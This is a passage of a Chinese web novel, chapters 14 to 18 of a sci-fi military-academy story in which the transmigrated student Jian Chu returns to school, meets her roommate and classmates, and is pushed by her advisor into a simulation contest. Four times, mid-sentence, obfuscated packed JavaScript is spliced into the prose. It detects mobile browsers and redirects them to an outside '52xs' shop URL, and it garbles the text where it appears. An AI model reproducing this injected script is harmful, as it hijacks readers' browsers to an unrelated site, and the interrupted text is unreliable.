这是联邦第一军校的统一接引点，学生们将在这里乘坐校方军舰回到学院星，这是只有放假和开学才有的待遇，在平时要想来回，只能自掏腰包，用校内积分购买昂贵的星舰票。 当然，如果是因为完成校内任务产生了额外的通勤费用，可以在任务完成后予以报销，任务失败的话……就自求多福了。 不远处人头攒动，已经有很多人在排队了。 简初迅速经过还在跟父母依依惜别的学生，挑了一条看起来最短的队伍排上了。 “请联盟第一军校的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761119|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同学们有序排队，提前打开终端，核实身份信息。” 一个矮矮的机器人举着大喇叭，在队伍中不停穿梭，嘴里反复念叨着这句话，尽管简初对一个机器人还要用喇叭这件事表示疑惑，但是她表示入乡随俗，万一这是别人家的癖好呢。 她打了个哈欠随手拉开自己手腕上的终端，希望能去军舰上补个觉。 就这么一会，简初身后已经排起长队，她抬起手在登入通道的识别窗前扫过，一道光幕从她身上掠过，光脑上弹出信息，点击确认，终端上便弹起一张悬浮屏。 [亲爱的简初同学，欢迎返校，你的座位在9号舰C区37号，座位下方有应急药品与食物，如遇紧急情况请自行取用。] “9号舰的同学还有没有，车上还有两个位置！” 刚疑惑9号舰在哪儿的简初听到这句声嘶力竭的喊声，立马小跑了过去：“我我我！” 怎么回事，听着对方的喊声自己不自觉就着急起来，这是刻在DNA里的春运基因吗？ 当简初看到摆渡车顶上绑着的大喇叭，里面一直重复这句话时，沉默了。 “9号舰的同学还有没有，车上还有一个位置！” 好嘛，还带实时更新的。 该说不说，这摆渡车也开出了飞船的驾驶，当简初踏上登上9号舰的阶梯时，还能感觉到眩晕。 大概是魂还没追上来。 简初晕晕乎乎记下艇内的区域分布图，脚步不停向C区走去，C区在军舰前半段，简初到达的时候这里已经稀稀拉拉地坐着几个人。 简初长舒了口气，扭了扭脖子找了个舒服的坐姿打算浅睡一会，侧过头却正好看到从她旁边走道经过的一个女生紧实有力的小臂。 她努力仰着头欣赏了一下路过的年轻男女，才发现周围的同学有一大半看起来都格外的……强健？ 这个世界是流行什么健身的风潮吗？ 简初不禁又抬头四处看了看，隔了几个座位，和一个看起来同样瘦弱的男生无措的眼神对上了视线。 傅燃沉默着往自己的位置走去，耳边三百六十度环绕的声音也无法影响他。 “所以你这个学期真的回学校上课？！” “你课选完了吗，我这里还有之前的选课指南。” “那你上学年的课怎么办，还要补吗？” 傅燃长出了一口气，无奈开口：“真的，不需要，要补一部分。” 说完，他在位置旁边站定，看向坐在靠窗位置的人影。 简初感觉到一阵令人心虚的注视感，她歪歪脑袋，回头跟一双黑漆漆的明亮眼眸对上了。 长长的睫毛在高挺的鼻梁上投下阴影，看起来好像有点眼熟。 “你好，傅燃。” 简初看着对方一脸正气地点点头，头上飘过一串省略号。 “简初。”她露出礼貌的微笑，脸上就差写一句我不认识你了。 傅燃身后的男孩子也探出头朝她示意：“同学你好，我是左虞珩。” 两人落座之后，他相当自来熟地跟简初搭话：“简初同学你是哪个学院的啊，我好像没见过你诶？” “我们都是作战学院的。” 他又开口补充了一句。 “精神控制。”简初露出礼貌的假笑，不着痕迹地往窗户靠了靠。 不多会，整个C区就满满当当地坐着人，“滴”的一声提示音过后，头顶响起一个沉稳的声音。 “9号舰马上准备出发，安全带都扣好。” 舰船一阵震动，窗外的景象飞速后退，化成无数的流光划过。 15. 灯下黑（15） 舰船停在了一片空地中，随着人潮有序下了舰，简初好奇心迅速消退，兴致缺缺地打量着周围，并没有发现什么有趣的新玩意。 果然学校都长一个样啊。 环顾四周，周围的学生们已经自然而然地凑在一起聊天，看起来多少都有认识的人，唯有简初举目无亲，不过校内星网上有自己的个人信息，不至于落到找不到宿舍的境地。 在简初的以往印象里，军校一般都是实施全封闭管理，而这里却有所不同。 军校生的学习安排非常自由，达到所在年级的结业积分要求就可以提前升入下一年级。 低年级的时候攒积分主要靠上课，一旦升入四年级后，就多了一个自由接取校内任务来攒积分的渠道。 简初这学期开始正要就读五年级，不出意外六年级就要分配到军部各单位实习，最后在毕业时确定岗位。 “我这个学期还有两门课要重修，忙死了……”左虞衡表情十分痛苦。 “我跟你一起。”傅燃确认了一下自己要补的课程，有一节跟左虞珩重合了，他余光瞥着简初往宿舍区走去，思考了几秒，在备选课程里增加了一门精神疏导。 “你也要去上这个课吗，我上学期选过，感觉还挺有用的……” “嗯，姑且试一试吧。” …… 高年级的宿舍是双人间，毕竟不少学生一直在留级或者直接退学，导致高年级生越来越少。 宿舍完全随机分配，并不参考院系之类的因素，据说是为了让学生们更好地认识朋友，毕竟未来大多数人都要进入军部，人脉越多越好。 简初很希望自己的舍友不要来得太早，毕竟是舍友，关系必定比普通同学亲近一些，而她现在连对方的名字都不知道。 但这次，幸运女神浅浅眷顾了她一次。 简初推开大门，是一个小小的公用客厅，窗户没开，扑面而来是灰尘的味道，她环顾四周，满意地在两间房门上看到了名字。 一个是她，另一个是写着“秦理”。 简初顿时黑线，她在自己终端的联系人里见过这个名字，但两人几乎没有几条聊天记录，谁能想到这就是她的舍友。 “你站在门口做什么？” 背后传来疑惑的询问声，简初猛地转过身，跟一个身材高挑的姑娘四目相对。 她皮肤不算白皙，但面庞流畅骨相分明，黑发留到锁骨上方，拎着包的手臂肌肉紧绷。 一看就是作战学院的。 “没什么，我刚到。”简初淡定回答。 秦理狐疑地看了她一眼，短短一个假期没见，这人好像变得有点不一样了，看起来没那么社恐，还有—— “你觉醒异能了？” 简初：“！” 瞳孔地震。 “你忘了我的能力是【第六感】了吗？我就是随口一说，不过你的反应证实了我的猜测，你记得去校务中心登记，不然会扣学分的。”秦理耸耸肩。 很神奇，已经在一间宿舍住了一年，她们俩总共也没说过几句话，但这次见面莫名觉得顺眼起来。 “对，前段时间刚觉醒的，【快速恢复】。” 除了这个，其他异能都太显眼了，很容易被关联到此前发生的事件中。 “很适合你的专业。” “谢谢。” 两人面面相觑，接着不约而同回房间收拾屋子了。 高年级课程不多，而简初下学期的课早就预选好了，不需要她太动脑筋，不过出于未来的生命安全考虑，她还是改掉了一些课程。 她打算加几节作战学院的课，但由于联邦军校并不允许学生选择低年级的课程来凑积分，她待会只能问问室友有没有什么参考意见，她可不想莫名其妙选到什么难度超高的课，最后不及格就搞笑了。 她重点看了一眼被高亮的两门课，一看名字就是专业必修，一门写着“精神疏导深度理论”几个大字，另一门是“实验室操作”，后面小字说明，主题是精神疏导对战斗人员的指导效率探究，主要是研究缓解战斗人员的压力以及超高精神力暴走。 前半部分有点像是心理医生干的活，后半部分就不是很明白了。 值得一提的是，它后面还标了一个小小的[任务]，看来上一节课可以拿到两份积分，那她不是赚大了。 正当她看得有些入神，听到了有人走近门口的声音。 “咚咚咚。”对方礼貌敲门。 “请进！” 秦理拧开门，探了个脑袋进来：“你收拾好了吗，要不要一起去吃午饭？” 原本打算自己翻翻校内地图熟悉一下，这下是瞌睡来了枕头，简初关上终端，提起椅背上搭着的米色制服外套：“去，你有什么想吃的吗？” 还没来得及看看食堂有哪些菜，她选择先发制人。 “你能吃辣吗，小火锅吃不吃，还是想吃点清淡的……”秦理有些犹豫，她确实不太清楚面前人吃饭的口味。 “火锅！”简初两眼放光，按捺住自己激动的心，“我是说，我能吃辣，去吃小火锅吧！” 联邦军校大得离谱，因此食堂的数量也很多，她们来的是离宿舍不远的第二十一食堂。 多么质朴的取名方式啊。 秦理眼神奇异地看着简初用热水把餐具都清洗了一遍，然后眼巴巴看着小火锅的出餐口。 怎么放了个假，社恐变洁癖了，还有这眼神，是多久没吃过好的了。 “秦理，你来得挺早啊！”有人在秦理旁边放下餐盘，简初循声望去，看见一个熟面孔。 “咦，简初！又见面了！”左虞珩永远都是活力满满的样子。 简初朝他们点头示意，眼神看似不经意扫过他们的餐盘：“你们都认识啊？” 看起来清汤寡水的，肯定不好吃。 傅燃莫名其妙地看着她好像露出一丝不屑的表情，疑惑地歪歪脑袋。 “她在等小火锅。”秦理为他解惑。 “火锅好吃的，不过我放假吃多了，得吃些清淡的救救急。”左虞珩朝简初竖起大拇指，“我们是一个班的，当然都认识，对了，傅燃选了你们系的课，方便的话照顾一……啊！” “火锅快好了。”傅燃面不改色，“可以去取了。” 待对面两人离开，他侧过头朝左虞珩叹了口气：“才认识的人就这么自来熟，你小心被骗。” “怎么会，多交流才能交朋友啊！”左虞珩往嘴里塞了块鸡胸肉，“啊，说起来，秦理，你们是怎么认识的？。” 他抬头看向端着小火锅回来的两人，一点也没觉得当着本人的面问这个问题有些尴尬。 “嗯，我舍友。” “啊，你怎么从来没提过？” “因为我俩不熟。”秦理冷漠开口，伸手指了指自己和左虞珩，“我是说，我俩。” 简初：“……” 傅燃：“……” “吃你的饭吧。”傅燃有些头疼，他也没办法跟好友说，因为对方也许是可疑人物，所以最好保持距离之类的，只能就此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761118|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打断话题。 面前的小火锅显然和简初以前吃的不太一样，一来是这边的蔬菜和肉类品种更奇特，有很多人工合成制品，二来面前这一锅怎么看怎么像麻辣烫。 她吃了两口，没忍住开口：“咱么食堂的火锅，都这样的吗？” 秦理疑惑地看过来：“火锅不都这样吗？” “呃，我是说有没有那种，吃啥放啥，现吃现放的那种。”简初勉强形容了一下，“可以大家聚在一起吃的。” 这下，桌上另外两个人也把目光投了过来。 “你说大份的吗，可以的。”秦理恍然大悟。 简初：“……” 不，你没懂。 “对了，刚刚说你选了他们学院的课，精神疏导深度理论？我这学期也报了。”秦理突然想起什么，看着傅燃开口，“我导师建议还是去上一下，到时候他们有实操咱们就报名，最好能……你懂的？” 傅燃点点头还没开口，左虞珩就抬起头，睁着他那双大眼睛：“懂什么？” 秦理无语：“……你没留级真是走了狗屎运。” 她看了眼简初，开口询问：“你知道的吧，精神疏导是为了辅助异能者，缓解异能过度使用的精神压力，你们学院有这方面比较擅长的同学吗，推荐一下？” 简初茫然眨眨眼，不，她不知道。 “抱歉，我不太了解其他人的情况。” “那你呢，是什么水平？”秦理目光灼灼地盯着，似乎她只要点点头，就能给她嚼吧嚼吧生吞了，搞得她手里小火锅都不香了。 她什么水平？她还能是什么水平，一窍不通的水平呗！ “呵呵，我就是个菜鸡，别问了，伤自尊。”简初一副默默垂泪的表情，让秦理觉得自己真该死啊。 “没关系，我就随口一问，到时候上课就知道了。” “啊，你们都去，我要不要也去凑个热闹啊，”左虞珩打开自己的课表，半晌哭丧着脸，“不行，我那个时间段有别的课。” 说到这里，简初突然想起来自己也有问题请教，趁现在人多，她想了想开口：“我想选你们学院的课，锻炼锻炼身体，有没有推荐的，不要太难，能毕业的那种。” 话音刚落，周围三人诡异地停下了筷子。 傅燃：“你要选……” 秦理：“锻炼身体？” 左虞珩：“你要选我们学院的课？！” 简初：“……” 怎么，你们学院吃人吗？ “怎么说呢，你知道学校里我们学院的课被外专业选的最少，因为我们大多是现场指导，这课上起来费身体，第二天爬不爬得起来都另说。”秦理解释道，说实话越到高年级，越没人选，毕竟走起来更狠。 “而且你登记了异能的话，就只能选我们专业的了，”见简初已经打开终端，一副我现在就选了的模样，秦理只能接着开口，“这个，高级体术，后边标注了五角星的，我们三个人都上这门课，不行你到时候跟我搭，我下手轻点。” “好。”简初笑眯了眼，连连答应。 “你觉醒异能了？”傅燃问道。 “嗯呢，前段时间刚觉醒的，我也很意外。”简初亳不心虚。 “这样啊，恭喜。” 左虞珩有些疑惑地看了他一眼，怎么今天觉得傅燃有点不对劲。 总之，这顿饭莫名吃得有些热闹，在左虞珩的热情下，简初还是跟另外两人交换了个人通讯号。 唔，人够了可以攒局吃火锅了。 16. 灯下黑（16） 拒绝了左虞珩的切磋邀请，傅燃独自回到寝室，他一进屋子就在终端上摆弄了一阵，一道蓝色的水平光幕在房间里扫过，属于精卫的圆环形探头闪了闪，突然变得极为暗淡。 静谧的空间里，通话声却显得有些飘渺。 “傅队长，关于之前南芒区少年救助中心的后续报告，我想申请调阅。” 傅燃坐在书桌前，手上打开一个笔记本。 傅遥太了解他了，对正事一向是这样，明明可以直接开口问，但却一定要走程序。 “哦，你是以什么身份申请的呢，我记得你的借调期已经结束了，傅燃同学？” 傅遥翘着二郎腿，懒懒散散地回答。 “……”傅燃垂下眼帘，沉默了几秒，接着开口，“那我以……” “打住！”也不管对面看不见，傅遥抬手做了个手势，“别想着以势压人，你要是走那个程序，我回头还得向上级解释，有什么事直接说吧。” “我之前向南芒区警卫署下达了协查函，调查当时在旅店内遇到的……” “哦，我知道，简初嘛，警卫署提交上来的报告有提到，根据监控显示，对方在我们行动的前天去过救助中心，但第二天就离开了。” “监控？”傅燃拧了拧眉，“有异能者在场的监控怎么会正常运行。” “当然不是全程，门口的监控拍摄到她来和离开的画面，门卫的口供也证实了这一点，对了，门卫是目标任务的父亲，不会在这个问题上撒谎，其他工作人员应该是受到目标异能影响，记忆出现了不同程度的空缺和混乱，无法作为证人。” “怎么确定门卫的话是可信的？” “自然有我们的方法，这个你就不要打听了。” 傅燃伸手揉了揉额角，半晌才开口：“我知道了，是我想太多了，今天听说她觉醒异能了……” “什么？她觉醒异能了？”傅遥再次打断。 “麻烦你能不能听我说完？”傅燃耐着性子开口，“她觉醒了快速恢复，应该是自我修复类的。” “哦。”刚刚还有点来劲的傅遥又萎靡下去，“现场没有检测到这类的异能波动，你可以安心了。” 挂掉通讯，傅燃看着面前的笔记本许久，终于叹了口气，下一秒，写着文字的纸片突然崩散，消失不见。 …… 吃完饭的简初独自来到了行政办公大楼，由于秦理异能的缘故，她得去登记一下。 “通过异能发动时的外显效果，以及对应大类的波动图谱，来确定个人的异能属性。”简初翻阅校内网上对此的说明，稍稍放下心来。 只要她只使用一个技能就可以了。 根据公开纪录，拥有两个异能的人已经很少了，像她这种特殊情况，再叠上穿越buff，还是谨慎点好。 异常登记办公室只有一个老师在办公，看见有人来，他放下手里的终端，抬头仔细瞧了一眼。 “学号输一下，你是什么类型的，自己有了解吗？” “应该是自我恢复类的，不过有副作用。”简初没忘记系统提示自己尽量少用这个技能，虽然不知道为什么，但还是提前找好借口。 “正常，异能多少都有点副作用。”这位老师一副习以为常的样子，“待会去隔壁房间，我想想，在手上割个小口子，然后用一下技能，可以吧？” 整个流程走得很顺利，不过几分钟，简初的学籍信息上就有了新鲜出炉的戳戳。 “你还真是心疼自己，那点伤口，不注意点都看不见。”登记老师开了个玩笑，他这里工作轻松，生活愉快了脾气自然也好得很。 “怕疼嘛。” 简初露出一个腼腆的笑容。 …… “精神力紊乱综合征，由于使用异能过程中的不明因素，而导致精神力长时间处于异常活跃状态，呃，造成精神力不受控制，初期发病时的生理表征为头痛难忍、反应迟钝，嘶，怎么又是不明因素。” 简初一字一句看着手上的书，这是明天那节专业课的参考用书，她本想提前了解一下，没想到一看就看到了现在。 因为几乎是每翻一页，她就要去星网上查一下相关的名词解释。 此前的成绩单显示她的成绩在学院里还算中游偏上，显然不能犯一些太过“常识性”的错误，只能提前恶补一下基础知识。 小触手笨拙地将面前的书本翻过一页，至于为什么没用兰花指，这就是另一个故事了。 “中期会出现幻觉、幻听，部分伴有嗜睡症状，此阶段开始异能开始变得难以控制。” 尽管已知高等级精神力是觉醒异能的必要非充分条件，但很明显从书本上大量的不明因素看来，人们对异能如何觉醒的研究还是停留在比较粗浅的阶段，目前综合看来实在是因为觉醒是一件相当随机的事件，相比起来，与异能者相关的研究论文要多得多。 简初接着往下看。 “当病程进入晚期，患者的异能指数会呈爆发型增长，可以达到正常数值的2－5倍，同时表现出剧烈的反抗心理与极低的同理心，失去理智难以交流，极少情况下伴有精神分裂。” “这一过程中，发病期间使用异能会加剧病症发展速度。” 异能指数是评判异能释放效果的一个参数。 小触手贴心地等简初查完星网，又伸过来翻了一页。 “精神疏导可通过双子星疗法，及时引导异能者精神力归位，可有效预防该病症，如果已出现症状，则可以延缓病情发展。” “注意，该病症没有根治手段，一旦确诊，停用异能也无法阻止恶化，晚期患者建议人道主义毁灭，以防止对社会造成更大危害。” 简初：“……” 好家伙，这么夸张，突然感觉这个专业责任重大呢。 正当她准备搜索“双子星疗法”是什么意思的时候，书桌上一个圆圆的光环突然闪了闪，紧接着传来一道机械女声。 “简初同学，检测到你的学习时间已经超过以往的最高值，同时发现你在校内星网多次搜索专业课基础名词，请问是否需要我提供帮助。” 对方平静地说着让她有些头皮发麻的话。 “不用，明天要上实验课，我只是想系统地巩固一下基础知识。”简初平静开口，丝毫看不出心虚。 “好的，不过提醒你现在的时间已经是凌晨两点，你明日的第一节课在八点半，请务必确保充足的睡眠。” “如有需要，可以唤醒精卫。” 对方说完，那个圆环依旧在不停闪烁，简初沉默了两秒，试探开口。 “好的，我知道了。” 接着，她如愿以偿看见圆环熄灭了。 好家伙，校内的人工智能辅助系统这么闲，还带监控星网的，幸好她没在上面搜索什么得不了的东西。 简初记得自己在学校四处倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761120|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看见了不少这种圆环，难道这些就是人工智能的控制终端？ 不过在精卫的提醒之下，简初也收拾收拾准备去休息了，她需要足够的精力来面对明天的危机。 比如，跟同学寒暄什么的。 …… 事实证明她多虑了。 第一节课就是理论专业课，偌大的教室坐满了人，但一眼看过去泾渭分明。 最前面几排统一的米色制服，代表精神控制学院的学生，目测大概五十人左右，而后面乌泱泱坐着一片外院系的学生，其中绝大部分都是作战学院的黑金制服。 精神控制学院对于精神力基本素养要求很高，并且拒收其中拥有攻击型异能的学生，因此每年招生都光荣登上“学院最精炼”榜榜首，简而言之，就是人很少。 而精神控制与疏导又是其中的大专业，绝大部分学生最后都会进入这个专业学习，剩下少部分会转入偏后勤的精神技术辅导，学习相关病症的研判。 最终就呈现出当前的风貌。 如果不是因为有人数限制，这比例会更加可怕，外院系的同学们来上这节课并不是有多么求知若渴，而是想尽早跟看中的“主治医师”打好关系，等毕业了走上各自的工作岗位，再想找人就只能乖乖排队了。 所以当简初走进来的时候，显眼的米色制服让她受到了在场所有人的注目礼。 简初：“……” 救救我。 这就是她为了躲避同学寒暄，选择踩点到的代价吗？ “嗤——” 简初刚刚落座，就听见身旁传来轮胎漏气的声音，她循声看去，一个年轻的男孩正斜着眼瞧她，一言不发，但表情轻蔑。 对方金发蓝眼，看起来却有一种谜之笨拙感。 简初疑惑地歪歪脑袋：“同学，门牙漏风可以去看看哦，影响美观。” “你！” 对方显然没什么城府，一点就着，简初也不打算跟他打嘴炮，看见有人走上讲台，便收回眼神，拒绝继续交流。 这门课的老师年纪已经不小了，但此时讲台上的那人怎么看怎么是个同龄人。 刚刚还一脸愤懑的男生见到来人，突然露出一脸高傲，再次发出了轮胎漏气的声音。 “就算你耍小聪明成为程院长的学生，也不可能超过伊森前辈！”男生信誓旦旦，仿佛一个小迷弟。 “所以你也是……程院长的学生？”简初瞧了他一眼，自己确实没花时间了解自己的“同门”有哪些人，毕竟这个所谓的程院长跟自己的聊天记录很少，几乎都是对方单方面通知她去办公室。 “你！有什么了不起的！”男生脸涨得通红，仿佛受到极大的屈辱。 简初沉默了两秒，恍然大悟：“哦，你不是。” “简初！你……” “李维西。”台上传来一声恶魔的低语，简初清晰地看到小黄毛抖了抖，然后像只鹌鹑一样缩了起来。 “注意课堂纪律。” 讲台上的人面无表情开口，明明是两个人在说小话，但他的眼神毫无停顿地从简初身上略过，训斥了李维西。 他的行为看似包庇了简初，但从他的表情来看，更像是完全无视了她。 “我是伊森·斯塔，今天程院有其他事务，所以由我来为各位介绍这个学期的课程安排。” 原来这就是小黄毛嘴里的“伊森哥”，看起来确实比小黄毛聪明很多。 17. 灯下黑（17） “以上就是课程需要注意的内容，想要参与实验课的外院系同学，可以直接将报名表发到我院邮箱，院长会按照本院外院一比二的人数进行挑选。” 台上的年轻人终于从手里的小册子中抬起眼，目光环绕一圈，微妙地在前排一个黑黢黢的脑袋上停了一瞬。 无他，只因为在前排仰着的脸蛋们中，这个朝向自己的脑袋显得尤为明显，再加上学生们的米色制服，衬得这一点黑色更加嚣张。 虽然伊森比简初高一年级，但作为同门，两人却并没有互加通讯号，目前看来，伊森本人的脾性相当傲气，虽然他尽力表现地平和有礼，但他的礼貌中深深镌刻着上位者的蔑视感。 简初曾经见过很多类似的人，他们言语间非常谦逊有礼，但充斥着“用钱可以买到命”的荒谬，而其倚靠大多是有权或有势的家族。 伊森本人看起来确实很有冷酷贵公子的范，不过简初向来对这种人敬谢不敏，她此时正一心二用，一边听着课程安排，一边继续翻看昨天的书。 没想到实验课是从理论课里直接挑人，还搞得挺花里胡哨。 课程安排介绍完，就是惨无人道的基础知识抽检，俗称，摸底考试。 联邦军校对于专业授课的把控非常严格，就算是程院长的第一爱徒，毕业后即将入职联邦中央研究所的伊森·斯塔，目前也没有给学生上课的资格。 不过这人把对自己的无视贯彻得非常彻底。 简初饶有兴趣地托着腮帮子，手上的书越翻声音越大，但讲台上的人愣是没给她一个眼神。 课堂上故意问难题让她出丑，这种手段都太low了。 作为顺利升入高年级的学生，按照常理很难被基础知识问倒，毕竟谁能猜到简初已经换了个芯子呢。 不过，当他提问了所有人，唯独漏了她的时候，是个人都能看出两人的不对付。 “我怎么没听说过伊森·斯塔跟简初有矛盾？”秦理皱了皱眉，小声说道。 “这种程度很难说有什么实质的矛盾，课堂抽检，漏掉一个人不是很合理吗？”傅燃开口道，“况且斯塔集团家大业大，而伊森本人天赋卓绝，不管从哪个方面来说，他都是大家更想交好的对象。” “怎么，你看上他了？”秦理冷笑开口。 傅燃斜斜睨她一眼，平静收回视线：“请你不要用那么奇怪的字眼，还需要我提醒你，我跟伊森结下的梁子吗？” “后排的同学，请不要……” “叮铃铃——” 伊森的声音被课间铃无情淹没，他停顿了两秒，接着若无其事地宣布课间休息，简初瞧见他低头看了眼终端，紧接着表情不太好看地往自己这边走了过来。 看来是要找他的小迷弟，小黄毛脸上已经浮现出肉眼可见的雀跃。 可惜事与愿违。 伊森面无表情地走过来，伸手在简初桌上敲了敲。 “院长喊你过去。” 简初跟这张帅气但完全不在自己审美点上的脸对视两秒，微微眯了眯眼，转向旁边的小黄毛。 “喏，你的院长偶像找你呢。” 顶着两人不敢置信的表情，简初淡定地低下头，将手里的书本又翻过一页。 说实话，昨天小触手给自己翻了一夜的书，现在要自己动手还有几分不习惯呢。 难得被人呛了一句，伊森很快收拾好有些破裂的表情，他用眼神制止了李维西想要骂人的冲动，再次开口：“简初，程院长让你去他办公室，现在。” …… 简初慢悠悠顺着终端导航往院长所在的办公楼而去，院长跟她虽然也是师生，但关系显然不如他和伊森来得亲厚，导致对方在有她联系方式的情况下，却通过伊森来联系。 她算是知道为什么两人的聊天记录寥寥无几了，不过这对简初来说并不是坏事，接触越少说明自己在院长面前越不容易露出破绽。 院长级别的人物在学校里还是挺有份量的，要是被对方发觉出不对劲，对简初来说显然不是好事。 终端投射在脚下的箭头虚影拐了个弯，指向一旁的小矮楼，简初一进门，就看见挂在一楼的电子导航，上面写着楼里的办公室分布图，看来精神控制学院的高级导师都在这里办公。 “程源……”简初嘴皮动了动，默读了上面的文字。 根据以往的资料，她的成绩在年纪中并不算顶尖，为什么院长会选择收下她，况且那个小黄毛之前说的“耍小聪明”又会是什么意思？ 简初脚下不停，直到抵达院长办公室门前，待她站定，门旁边的圆环亮了亮。 “你好，简初同学。” 大门缓缓打开，简初走了进去。 入眼是巨大的落地窗，左手边是一张巨大的弧形书桌，上面堆放着大量的书籍，大部分书脊都有些破烂，看起来有些年头了。 一名头发花白的老人正紧盯着面前的悬浮光屏，从简初的角度看过去上面空空如也，但从对方严肃的表情看来，他是能看见上面的内容的。 简初走了过来，一屁股坐在书桌对面的沙发椅上。 “你来了，坐。” 对方的招呼声和简初的动作几乎同时发生，场面一时有些微妙。 “老师，你找我有什么事吗？”简初挑选了一个最折中的交流方式，而程源对此并没有什么意外的反应，想来对她平时的印象也并不深刻。 “有个事情要告诉你，你知道我很忙，长话短说。”程源终于舍得暂时关掉面前的光屏。 “研究所暂留了你的实习简历，现在情况跟预想有些出入，有好几个人的简历都留下来做横向对比，我打听到的消息是，他们想参考今年的模拟大赛成绩来定最后的人选。” 此前未知的信息来得太密集，简初静静听着，谨慎开口：“我需要做什么？” “很好，我喜欢你的直接。” 程源满意地点点头，他很喜欢这种听话的学生，能力和顺从，总得有一样吧。 “参加模拟大赛，尽可能拿到好的名次，我记得你入学测试的成绩非常好，最近几年却在走下坡路，希望你能借这个机会找回状态。” “我们校内研究所也非常难进，每年还有推荐进入联邦中央研究所的名额，希望你珍惜这次机会，争取向你伊森师兄看齐。” 对方提及伊森·斯塔，脸上露出了明显的满意之色，见简初没有立刻点头，程源脸上又露出了不满。 “不要想了，为了这次实习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761125|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会你付出了很多精力，我也帮忙做了不少工作，现在你只需要好好准备。” “好了，你走吧。” 事情交代完，对方丝毫不给一点另外的时间，就迅速下了逐客令，看起来是个独断专行的人。 “我会好好准备的，谢谢老师。” 简初喏喏应下，迅速离开了办公室，紧接着她收敛了脸上的表情，思绪发散了几秒，揣兜离开了小矮楼。 虽然不知道此前他们都做过些什么，但现在要是贸然反悔，必然要花大量的时间跟对方扯皮，而她现在显然不具备这样的条件。 “噔噔噔~” 简初脚下顿了顿，她对这抽奖音乐几乎已经免疫了。 “军校人才济济，以往的你在其中并不出彩，但胜在运气爆棚，但现在，一切似乎都反了过来，为了早日得到专业人士的认可，你需要一个施展才华的舞台。” “触发任务：参与模拟大赛，并顺利得到联邦第一军校研究所的实习名额。” “重要说明：此任务强关联你手中的另一项任务，出彩的表现有机会让你一箭双雕。” “嘶！” 简初的注意力被任务前面的叙述吸引了注意力。 什么叫“一切似乎都反了过来”，就是说她现在霉气冲天是吗？ 她仔细回想了一下最近的经历，忧伤地发现系统好像说的是实话。 程源提到自己的入学测试，可惜自己手上并没有入学测试的数据，现在去申请调取又会显得很奇怪，只能之后找个机会弄到这部分内容。 现在当务之急是了解模拟大赛的详细情况。 说干就干，简初回到寝室，第一时间打开了校内星网，检索模拟大赛的内容，与她想象的不同，星网上专门开辟了一个版块，里面正如火如荼地讨论着比赛的相关事宜。 这算是信息茧房吗，她之前从来没在星网上看到类似的消息。 简初不死心地退出去，翻阅了片刻，发现并不是因为信息茧房。 跟在模拟大赛这一栏目后面的，还有不少独立版块，里头的帖子均不能在校内星网上直接搜索到，而是要进入版块内部才能进行检索。 某种程度来说，这样确实保障了信息的高效提取，比起东一榔头西一棒子，校内星网的整体划分变得十分整洁有序，除了简初这种外来者，也鲜少有人不了解这沿袭已久的推送方式。 简初伸手点开了最上面的报名须知，里面是对模拟大赛的介绍。 “多家高校联合竞赛，通过神经网络链接全息星网乌托邦，在其中进行多场单人竞技对抗，角逐出前一百名同学后，开展团队竞技。” 乌托邦，又是一个新概念。 “报名要求：拥有异能或精神力等级达到学术水平。” “注：精神力学术水平参考精神控制学院三升四要求。” 也就是说本院四年级以上的学生都有报名资格，简初接着往下看，就是五花八门的历年考场和预测了。 模拟大赛有着无比庞大的题库，竞赛会在题库中进行随机抽取，场地、规则等都会有巨大的差异，因此运气在其中也扮演了相当的角色。 简初想起了自己的霉运属性，无言地沉默了。 18. 灯下黑（18） “简初，你下午还有别的课吗？” 在星网版块徜徉的简初突然听到敲门声，她过去打开门，就看到秦理穿戴整齐，背着一个运动包，一副要出门的样子。 “下午就是高级体术，没有别的课了，有什么事吗？”简初挠了挠有些炸毛的头发，“不过我得花时间看一下模拟大赛的历年情况，所以今天下午没有什么额外的时间。” 